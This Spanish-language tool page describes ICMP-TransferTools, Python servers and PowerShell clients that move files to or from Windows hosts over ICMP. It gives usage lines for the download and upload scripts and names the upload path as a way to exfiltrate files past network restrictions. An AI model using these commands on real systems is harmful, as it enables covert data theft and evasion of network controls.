
Transfiera archivos hacia y desde un host de Windows mediante ICMP en entornos de red restringidos.
ICMP-TransferTools es un conjunto de scripts diseñados para mover archivos hacia y desde hosts Windows en entornos de red restringidos. Esto se logra utilizando un total de 4 archivos diferentes, que consisten en un servidor Python y un cliente PowerShell para cada dirección de transferencia (Descarga y Carga).
La única dependencia requerida es Impacket para uno de los scripts de Python. Se puede instalar mediante pip de la siguiente manera:
pip3 install impacket
Los scripts incluidos ICMP-SendFile.py e Invoke-IcmpDownload.ps1 se pueden utilizar para descargar un archivo a un host Windows a través de ICMP.
El servidor Python debe ejecutarse primero para preparar el archivo para su descarga. Consulte a continuación el uso del script:
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file
ICYGUIDER'S ICMP FILE DOWNLOAD SERVER
positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
Una vez importado, el cliente PowerShell se puede utilizar para descargar el archivo preparado de la siguiente manera:
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
Vea a continuación una demostración rápida:

Los scripts incluidos ICMP-ReceiveFile.py e Invoke-IcmpUpload.ps1 se pueden utilizar para cargar/exfiltrar un archivo desde un host Windows a través de ICMP.
El servidor Python debe ejecutarse primero para asegurarse de que esté listo para aceptar solicitudes del cliente. Consulte a continuación el uso del script:
usage: ICMP-ReceiveFile.py [-h] src file
ICYGUIDER'S ICMP FILE UPLOAD SERVER
positional arguments:
src Public IP Address of client
file File to write data to
optional arguments:
-h, --help show this help message and exit
Una vez importado, el cliente PowerShell se puede utilizar para cargar el archivo deseado de la siguiente manera:
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
Vea a continuación una demostración rápida:
